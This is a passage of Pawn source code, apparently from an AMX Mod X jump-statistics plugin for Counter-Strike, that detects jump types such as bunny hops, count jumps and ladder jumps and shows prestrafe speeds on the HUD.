pev(id, pev_velocity, velocity);
pev(id, pev_origin, origin);
new Float:drbh;
if(is_user_ducking(id))
{
drbh=origin[2]+18;
}
else drbh=origin[2];
if(dropbjorigin[id][2]-drbh>2.0)
{
if(dropbjorigin[id][2]-drbh<30 && jump_type[id] != Type_Drop_BhopLongJump && jump_type[id] != Type_None)
{
old_type_dropbj[id]=jump_type[id];
formatex(Jtype_old_dropbj[id],32,Jtype[id]);
formatex(Jtype_old_dropbj1[id],32,Jtype1[id]);
}
jump_type[id] = Type_Drop_BhopLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRBJ");
nextbhop[id]=false;
bhopaem[id]=false;
dropbhop[id]=true;
}
}
if( movetype[id] == MOVETYPE_FLY)
{
OnGround[id] = false;
firstvel[id]=8.0;
secvel[id]=0.0;
checkladdertime[id]=get_gametime();
}
if( movetype[id] == MOVETYPE_FLY && firstladder[id]==false)
{
firstladder[id]=true;
nextbhop[id]=false;
bhopaem[id]=false;
h_jumped[id]=false;
JumpReset(id,34);
return FMRES_IGNORED;
}
if( movetype[id] != MOVETYPE_FLY && firstladder[id]==true && flags&FL_ONGROUND)
{
firstladder[id]=false;
}
if( (movetype[id] == MOVETYPE_FLY) && (button&IN_FORWARD || button&IN_BACK || button&IN_LEFT || button&IN_RIGHT ) )
{
ladderjump[id]=true;
find_sphere_class (id, "func_ladder",18.0, entlist1, 1);
if(entlist1[0]!=0)
{
for(new i=0;i<nLadder;i++)
{
if(entlist[i]==entlist1[0])
{
nashladder=i;
}
}
}
prestrafe[id] = speed[id];
maxspeed[id] = speed[id];
}
if( (movetype[id] == MOVETYPE_FLY) && button&IN_JUMP )
{
jump_type[id]=Type_ladderBhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LDBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LDBJ");
ladderjump[id]=false;
in_air[id]=false;
in_ladder[id]=false;
bhopaem[id]=false;
notjump[id]=true;
dropbhop[id]=false;
}
if( movetype[id] != MOVETYPE_FLY && ladderjump[id]==true)
{
if(touch_ent[id])
{
JumpReset(id,103);
}
notjump[id]=true;
dropbhop[id]=false;
pev(id, pev_origin, origin);
jumpoff_origin[id] = origin;
jumpoff_origin[id][2]=ladderxyz[nashladder][2]+35.031250;
jumpoff_time[id] = get_gametime( );
strafecounter_oldbuttons[id] = INFO_ZERO;
jump_type[id]=Type_ladder;
laddertime[id]=get_gametime();
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LDJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LDJ");
if(laddersize[nashladder][0]<=laddersize[nashladder][1])
{
laddist[id]=laddersize[nashladder][0]+0.03125;
}
else if(laddersize[nashladder][0]>laddersize[nashladder][1])
{
laddist[id]=laddersize[nashladder][1]+0.03125;
}
if(laddist[id]>10)
{
laddist[id]=4.0;
}
ladderjump[id]=false;
TempSpeed[id] = 0.0;
static i;
for( i = INFO_ZERO; i < NSTRAFES; i++ )
{
strafe_stat_speed[id][i][0] = 0.0;
strafe_stat_speed[id][i][1] = 0.0;
strafe_stat_sync[id][i][0] = INFO_ZERO;
strafe_stat_sync[id][i][1] = INFO_ZERO;
strafe_stat_time[id][i] = 0.0;
strafe_lost_frame[id][i] = 0;
}
in_air[id] = true;
in_ladder[id]=true;
g_Jumped[id] = true;
first_frame[id] = true;
turning_right[id] = false;
turning_left[id] = false;
for( i = INFO_ZERO; i < 2; i++ )
{
frame_origin[id][i][0] = 0.0;
frame_origin[id][i][1] = 0.0;
frame_origin[id][i][2] = 0.0;
frame_velocity[id][i][0] = 0.0;
frame_velocity[id][i][1] = 0.0;
frame_velocity[id][i][2] = 0.0;
}
for( i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[id]==true && uq_ladder==1 )
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.0, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE31",prestrafe[id]);
}
}
}
}
if((button & IN_JUMP && flags & FL_ONGROUND) || in_ladder[id])
{
x_jump[id]=true;
if(is_user_ducking(id))
{
x_heightland_origin[id]=origin[2]+18;
}
else x_heightland_origin[id]=origin[2];
}
if((x_jump[id]==true || in_ladder[id]) && button & IN_DUCK && !(oldbuttons &IN_DUCK) && flags & FL_ONGROUND )
{
if(x_jump[id])
{
x_jump[id]=false;
new Float:heightland_origin;
if(is_user_ducking(id))
{
heightland_origin=origin[2]+18;
}
else heightland_origin=origin[2];
if(heightland_origin-x_heightland_origin[id]>0 && !in_ladder[id])
{
JumpReset(id,45);
UpcjFail[id]=true;
return FMRES_IGNORED;
}
if(bhopaem[id] && !ddforcjafterbhop[id])
{
ddforcjafterbhop[id]=true;
}
else ddforcjafterbhop[id]=false;
if(in_ladder[id] && !ddforcjafterladder[id])
{
ddforcjafterladder[id]=true;
}
else ddforcjafterladder[id]=false;
ddforcj[id]=true;
}
}
if(cjjump[id]==false && (button & IN_DUCK || oldbuttons & IN_DUCK) && (jump_type[id] == Type_Drop_CountJump || ddforcj[id] || ddafterJump[id] || jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump))
{
if(origin[2]-duckstartz[id]<-1.21 && origin[2]-duckstartz[id]>-2.0)
{
if(ddstandcj[id])
{
nextbhop[id]=false;
bhopaem[id]=false;
}
if(jump_typeOld[id]==1)
{
multiscj[id]=0;
}
else if(jump_typeOld[id]==2)
{
multiscj[id]=1;
}
else if(jump_typeOld[id]==3)
{
multiscj[id]=2;
}
jump_type[id] = Type_StandUp_CountJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SCJ");
FallTime[id]=get_gametime();
}
}
if( button & IN_DUCK && !(oldbuttons &IN_DUCK) && flags & FL_ONGROUND)
{
nextbhop[id]=false;
bhopaem[id]=false;
doubleduck[id]=true;
sync_doubleduck[id]=true;
doubletime[id]=get_gametime();
FallTime1[id]=get_gametime();
ddnum[id]++;
}
if(sync_doubleduck[id] && g_Jumped[id])
{
sync_doubleduck[id]=false;
doubleduck_stat_sync[id][0]=0;
doubleduck_stat_sync[id][1]=0;
}
if(flags & FL_ONGROUND)
{
if(duckstartz[id]-origin[2]<18.0 && doubleduck[id]==true && (get_gametime()-doubletime[id]>0.4) && ddbeforwj[id]==false && (jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump))
{
JumpReset(id,2);
doubleduck[id]=false;
}
}
pev(id, pev_origin, origin);
if(slide_protec[id]==false && button & IN_JUMP && !( oldbuttons & IN_JUMP ) && flags & FL_ONGROUND && bhopaem[id]==false && UpcjFail[id]==false)
{
bhop_num[id]=0;
notjump[id]=false;
if(ddforcj[id]==true)
{
if(jump_type[id] == Type_StandUp_CountJump)
{
ddstandcj[id]=true;
}
ddforcj[id]=false;
if(jump_type[id] != Type_StandUp_CountJump && (jump_type[id]!=Type_Drop_CountJump || ddforcjafterladder[id]))
{
if(ddnum[id]==1)
{
jump_type[id]=Type_CountJump;
CjafterJump[id]=1;
}
else if(ddnum[id]==2)
{
jump_type[id] = Type_Double_CountJump ;
CjafterJump[id]=2;
}
else if(ddnum[id]>=3)
{
jump_type[id] = Type_Multi_CountJump;
CjafterJump[id]=3;
}
ddnum[id]=0;
nextbhop[id]=false;
bhopaem[id]=false;
}
}
oldjump_height[id]=0.0;
jheight[id]=0.0;
if(nextbhop[id] && ddafterJump[id]==false)
{
FullJumpFrames[id]=0;
direct_for_strafe[id]=0;
angles_arry[id]=0;
if(uq_istrafe)
{
for(new i=0;i<=line_erase_strnum[id];i++)
{
for( new j = 0; j <= line_erase[id][i]; j++ )
{
line_lost[id][i][j]=0;
lost_frame_count[id][i]=0;
}
}
}
edgedone[id]=false;
if(get_gametime()-checkladdertime[id]<0.5)
{
ladderbug[id]=true;
}
if(touch_ent[id])
{
JumpReset(id,105);
}
ddnum[id]=0;
if(cjjump[id]==true && (get_gametime()-duckoff_time[id])<0.2)
{
JumpReset(id,35);
return FMRES_IGNORED;
}
if(oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==true && (jump_type[id]==Type_HighJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_None))
{
jump_type[id]=Type_DuckBhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DKBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DKBJ");
duckbhop[id]=false;
}
bhopaem[id]=true;
pev(id, pev_origin, origin);
static bool:ducking;
ducking = is_user_ducking( id );
strafecounter_oldbuttons[id] = INFO_ZERO;
strafe_num[id] = 0;
TempSpeed[id] = 0.0;
in_bhop[id] = true;
pre_jumpoff_origin[id] = jumpoff_origin[id];
jumpoff_foot_height[id] = ducking ? origin[2] - 18.0 : origin[2] - 36.0; //todo:think about this gavno
jumpoff_time[id] = get_gametime( );
new Float:checkbhop;
if(is_user_ducking(id)==true)
{
checkbhop=jumpoff_origin[id][2]-origin[2]-18.0;
}
else checkbhop=jumpoff_origin[id][2]-origin[2];
if(checkbhop<-1.0)
{
if(button & IN_DUCK )
{
jump_type[id]=Type_Up_Bhop_In_Duck;
}
upbhop_koeff[id]=UpBhop_calc(floatabs(checkbhop));
upheight[id]=floatabs(checkbhop);
upBhop[id]=true;
}
else if(jump_type[id]!=Type_DuckBhop)
{
if(button & IN_DUCK )
{
jump_type[id]=Type_Bhop_In_Duck;
}
}
jumpoff_origin[id] = origin;
if(is_user_ducking( id )==true)
{
jumpoff_origin[id][2] = origin[2]+18.0;
}
else jumpoff_origin[id][2] = origin[2];
pev(id, pev_velocity, velocity);
first_frame[id] = true;
prestrafe[id] = speed[id];
maxspeed[id] = speed[id];
static i;
for( i = INFO_ZERO; i < NSTRAFES; i++ )
{
strafe_stat_speed[id][i][0] = 0.0;
strafe_stat_speed[id][i][1] = 0.0;
strafe_stat_sync[id][i][0] = INFO_ZERO;
strafe_stat_sync[id][i][1] = INFO_ZERO;
strafe_stat_time[id][i] = 0.0;
strafe_lost_frame[id][i] = 0;
}
for( i = INFO_ZERO; i < 2; i++ )
{
frame_origin[id][i][0] = 0.0;
frame_origin[id][i][1] = 0.0;
frame_origin[id][i][2] = 0.0;
frame_velocity[id][i][0] = 0.0;
frame_velocity[id][i][1] = 0.0;
frame_velocity[id][i][2] = 0.0;
}
in_air[id] = true;
g_Jumped[id] = true;
turning_right[id] = false;
turning_left[id] = false;
}
else
{
if(get_gametime()-checkladdertime[id]<0.5 && jump_type[id]!=Type_ladderBhop)
{
ladderbug[id]=true;
}
if(touch_ent[id])
{
JumpReset(id,106);
}
ddnum[id]=0;
if(in_ladder[id]==true)
{
in_ladder[id]=false;
jump_type[id]=Type_Real_ladder_Bhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_RLDBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_RLDBJ");
}
strafe_num[id]=0;
if(get_gametime()-changetime[id]<0.5)
{
JumpReset(id,38);
return FMRES_IGNORED;
}
if(task_exists(id+2311))
remove_task(id+2311);
pev(id, pev_velocity, velocity);
if(jump_type[id]!=Type_ladderBhop)
{
if(oldjump_typ1[id]==1)
{
jump_type[id]=Type_ladderBhop;
oldjump_typ1[id]=0;
}
}
jumpoff_origin[id] = origin;
if(is_user_ducking(id))
{
jumpoff_origin[id][2] = origin[2]+18.0;
}
else jumpoff_origin[id][2] = origin[2];
jumpoff_time[id] = get_gametime( );
strafecounter_oldbuttons[id] = INFO_ZERO;
pev(id, pev_origin, origin);
if(is_user_ducking(id))
{
dropbjorigin[id][2]=origin[2]+18;
}
else dropbjorigin[id][2]=origin[2];
dropbjorigin[id][0]=origin[0];
dropbjorigin[id][1]=origin[1];
pev(id, pev_velocity, velocity);
secorig[id]=origin;
nextbhop[id]=true;
if(dropbhop[id] && jump_type[id] != Type_Drop_CountJump && jump_type[id] != Type_StandUp_CountJump)
{
dropbhop[id]=false;
jump_type[id] = Type_Drop_BhopLongJump;
}
else dropbhop[id]=false;
if(jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump)
{
cjjump[id]=true;
}
if (!ddstandcj[id] && !CjafterJump[id] && (jump_type[id] == Type_CountJump || jump_type[id] == Type_Multi_CountJump || jump_type[id] == Type_Double_CountJump) && floatabs(duckstartz[id]-jumpoff_origin[id][2])>4.0)
{
if(speed[id]<200.0)
{
jump_type[id] = Type_LongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LJ");
}
else
{
jump_type[id] = Type_WeirdLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
}
}
if(jump_type[id] == Type_Drop_CountJump && multidropcj[id]==0 && (origin[2]-first_duck_z[id])>4)
{
JumpReset(id,146);
return FMRES_IGNORED;
}
prestrafe[id] = speed[id];
maxspeed[id] = speed[id];
new Float:kkk;
kkk=999.112*Pmaxspeed;
if(prestrafe[id]<kkk && jump_type[id]!=Type_ladderBhop && jump_type[id] != Type_Drop_BhopLongJump && jump_type[id] != Type_WeirdLongJump && jump_type[id] != Type_CountJump && jump_type[id] != Type_Multi_CountJump && jump_type[id] != Type_Double_CountJump && jump_type[id] != Type_BhopLongJump && jump_type[id] != Type_StandupBhopLongJump && jump_type[id] != Type_Drop_CountJump)
{
if(jump_type[id] != Type_Drop_CountJump && jump_type[id] != Type_StandUp_CountJump && jump_type[id] !=Type_Real_ladder_Bhop)
{
jump_type[id] = Type_LongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LJ");
if((jumpoff_origin[id][2]-origin[2])==18.0 && oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==false)
{
duckbhop[id]=true;
//client_print(id,print_chat,"%f",jumpoff_origin[id][2]-origin[2]);
find_sphere_class (id, "func_ladder",100.0, entlist1, 1);
if(entlist1[0]!=0)
{
if(get_gametime()-checkladdertime[id]<0.1 || prestrafe[id]>110)
{
ladderbug[id]=true;
}
else if(entlist1[0]!=0)
{
ladderbug[id]=true;
}
find_ladder[id]=true;
}
}
else duckbhop[id]=false;
}
}
TempSpeed[id] = 0.0;
static i;
for( i = INFO_ZERO; i < NSTRAFES; i++ )
{
strafe_stat_speed[id][i][0] = 0.0;
strafe_stat_speed[id][i][1] = 0.0;
strafe_stat_sync[id][i][0] = INFO_ZERO;
strafe_stat_sync[id][i][1] = INFO_ZERO;
strafe_stat_time[id][i] = 0.0;
strafe_lost_frame[id][i] = 0;
}
in_air[id] = true;
g_Jumped[id] = true;
first_frame[id] = true;
prestrafe[id] = speed[id];
maxspeed[id] = speed[id];
turning_right[id] = false;
turning_left[id] = false;
for( i = INFO_ZERO; i < 2; i++ )
{
frame_origin[id][i][0] = 0.0;
frame_origin[id][i][1] = 0.0;
frame_origin[id][i][2] = 0.0;
frame_velocity[id][i][0] = 0.0;
frame_velocity[id][i][1] = 0.0;
frame_velocity[id][i][2] = 0.0;
}
if(jump_type[id]==Type_LongJump && prestrafe[id]>kkk)
{
jump_type[id] = Type_WeirdLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
}
if ((doubleduck_stat_sync[id][0]+doubleduck_stat_sync[id][1]) > 0)
{
dd_sync[id] =(doubleduck_stat_sync[id][0] * 100)/(doubleduck_stat_sync[id][0]+doubleduck_stat_sync[id][1]);
if(dd_sync[id]<96)
dd_sync[id] =5+dd_sync[id];
}
else
{
dd_sync[id] = 0;
}
for( i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if((Pmaxspeed * 1.2)>prestrafe[id])
{
if(prestrafe[id]>min_prestrafe[id])
{
if(jump_type[id] == Type_Double_CountJump && showpre[id]==true && uq_dcj==1)
{
if(CjafterJump[id]==2)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
if(ddforcjafterbhop[id])
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE1",prestrafe[id]);
else if(ddforcjafterladder[id])
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE2",prestrafe[id]);
else
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE3",prestrafe[id]);
}
else
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE4",prestrafe[id]);
}
}
else if(jump_type[id] == Type_CountJump && showpre[id]==true && uq_cj==1)
{
if(CjafterJump[id]==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
if(ddforcjafterbhop[id])
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE5",prestrafe[id]);
else if(ddforcjafterladder[id])
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE6",prestrafe[id]);
else
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE7",prestrafe[id]);
}
else
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE8",prestrafe[id]);
}
}
else if(jump_type[id] == Type_Multi_CountJump && showpre[id]==true && uq_mcj==1)
{
if(CjafterJump[id]==3)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
if(ddforcjafterbhop[id])
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE9",prestrafe[id]);
else if(ddforcjafterladder[id])
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE10",prestrafe[id]);
else
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE11",prestrafe[id]);
}
else
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE12",prestrafe[id]);
}
}
else if(jump_type[id] == Type_LongJump && showpre[id]==true && ljpre[id]==true && uq_lj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE13",prestrafe[id]);
}
else if(jump_type[id] == Type_WeirdLongJump && showpre[id]==true && ddbeforwj[id]==true && uq_wj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE14",prestrafe[id]);
}
else if(jump_type[id] == Type_WeirdLongJump && showpre[id]==true && ddbeforwj[id]==false && uq_wj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE15",prestrafe[id]);
}
else if((jump_type[id] == Type_Drop_BhopLongJump)&& showpre[id]==true && uq_drbj==1 )
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE16",prestrafe[id]);
}
else if((jump_type[id] == Type_ladderBhop)&& showpre[id]==true && uq_ldbj==1 )
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE17",prestrafe[id]);
}
else if((jump_type[id]==Type_Drop_CountJump)&& showpre[id]==true)
{
if(multidropcj[id]==0 && uq_drcj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE18",prestrafe[id]);
}
else if(multidropcj[id]==1 && uq_dropdcj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE19",prestrafe[id]);
}
else if(multidropcj[id]==2 && uq_dropmcj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE20",prestrafe[id]);
}
}
else if((jump_type[id]==Type_StandUp_CountJump) && showpre[id]==true && uq_drsbj==1)
{
if(dropaem[id])
{
if(multiscj[id]==0 && uq_dropscj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE21",prestrafe[id]);
}
else if(multiscj[id]==1 && uq_dropdscj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE22",prestrafe[id]);
}
else if(multiscj[id]==2 && uq_dropmscj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE23",prestrafe[id]);
}
}
else if(ddstandcj[id])
{
if(multiscj[id]==0)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE24",prestrafe[id]);
}
else if(multiscj[id]==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE25",prestrafe[id]);
}
else if(multiscj[id]==2)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE26",prestrafe[id]);
}
}
else
{
if(multiscj[id]==0 && uq_drsbj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE27",prestrafe[id]);
}
else if(multiscj[id]==1 && uq_dscj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE28",prestrafe[id]);
}
else if(multiscj[id]==2 && uq_mscj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE29",prestrafe[id]);
}
}
}
else if((jump_type[id]==Type_Real_ladder_Bhop) && showpre[id]==true && uq_realldbhop==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE30",prestrafe[id]);
}
}
}
else if(showpre[id]==true)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
}
}
}
}
}
else if(slide_protec[id]==false && ddafterJump[id]==false && UpcjFail[id]==false && bhopaem[id]==true && button & IN_JUMP && !( oldbuttons & IN_JUMP ) && flags & FL_ONGROUND)
{
if(touch_ent[id])
{
JumpReset(id,106);
}
ddnum[id]=0;
if(ddforcj[id]==true)
{
ddforcj[id]=false;
JumpReset(id,46);
return FMRES_IGNORED;
}
pev(id, pev_origin, origin);
static bool:ducking;
ducking = is_user_ducking( id );
strafecounter_oldbuttons[id] = INFO_ZERO;
strafe_num[id] = 0;
TempSpeed[id] = 0.0;
pre_jumpoff_origin[id] = jumpoff_origin[id];
jumpoff_foot_height[id] = ducking ? origin[2] - 18.0 : origin[2] - 36.0;
jumpoff_time[id] = get_gametime( );
jumpoff_origin[id] = origin;
if(is_user_ducking( id )==true)
{
jumpoff_origin[id][2] = origin[2]+18.0;
}
else jumpoff_origin[id][2] = origin[2];
pev(id, pev_velocity, velocity);
first_frame[id] = true;
prestrafe[id] = speed[id];
maxspeed[id] = speed[id];
static i;
for( i = INFO_ZERO; i < NSTRAFES; i++ )
{
strafe_stat_speed[id][i][0] = 0.0;
strafe_stat_speed[id][i][1] = 0.0;
strafe_stat_sync[id][i][0] = INFO_ZERO;
strafe_stat_sync[id][i][1] = INFO_ZERO;
strafe_stat_time[id][i] = 0.0;
strafe_lost_frame[id][i] = 0;
}
for( i = INFO_ZERO; i < 2; i++ )
{
frame_origin[id][i][0] = 0.0;
frame_origin[id][i][1] = 0.0;
frame_origin[id][i][2] = 0.0;
frame_velocity[id][i][0] = 0.0;
frame_velocity[id][i][1] = 0.0;
frame_velocity[id][i][2] = 0.0;
}
in_air[id] = true;
g_Jumped[id] = true;
turning_right[id] = false;
turning_left[id] = false;
jump_type[id]=Type_Multi_Bhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MBJ");
bhop_num[id]++;
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[i]==true && multibhoppre[id] && speed[id]>50.0)
{
if((Pmaxspeed * 1.2)>speed[id] && (uq_bj==1 || uq_sbj==1))
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_MBPRE",speed[id]);
}
else
{ if((uq_bj==1 || uq_sbj==1))
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
}
}
}
}
}
}
else if(slide_protec[id]==false && ddafterJump[id]==false && UpcjFail[id]==false && !(button&IN_JUMP) && oldbuttons&IN_JUMP && flags & FL_ONGROUND && nextbhop[id]==true && cjjump[id]==false && bhopaem[id]==false && jump_type[id]!=Type_Drop_BhopLongJump)
{
if(touch_ent[id])
{
JumpReset(id,109);
}
ddnum[id]=0;
if(ddforcj[id]==true)
{
JumpReset(id,46);
return FMRES_IGNORED;
}
bhop_num[id]=0;
if(oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==true && (jump_type[id]==Type_LongJump || jump_type[id]==Type_None))
{
jump_type[id]=Type_DuckBhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DKBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DKBJ");
duckbhop[id]=false;
}
else
{
bhopaem[id]=true;
static i;
for( i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[id]==true && failearly[id]==true && (uq_bj==1 || uq_sbj==1))
{
set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, 0.5, 0.1, 0.1, h_stats);
show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_JEARLY");
}
}
}
}
}
else if( ( failed_jump[id] || flags&FL_ONGROUND)&& in_air[id] )
{
if(old_type_dropbj[id]!=Type_Null && jump_type[id]==Type_Drop_BhopLongJump)
{
jump_type[id]=old_type_dropbj[id];
formatex(Jtype[id],32,Jtype_old_dropbj[id]);
formatex(Jtype1[id],32,Jtype_old_dropbj1[id]);
}
if(bug_true[id])
{
JumpReset(id,322);
return FMRES_IGNORED;
}
if(prestrafe[id]>200 && jump_type[id]==Type_DuckBhop)
{
duckbhop_bug_pre[id]=true;
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_PROBBUG",prestrafe[id]);
}
new summad,summws;
for(new i=0;i<NSTRAFES;i++)
{
if(type_button_what[id][i]==1)
summad++;
if(type_button_what[id][i]==2)
summws++;
}
if(summws>summad)
{
if(backwards[id])
{
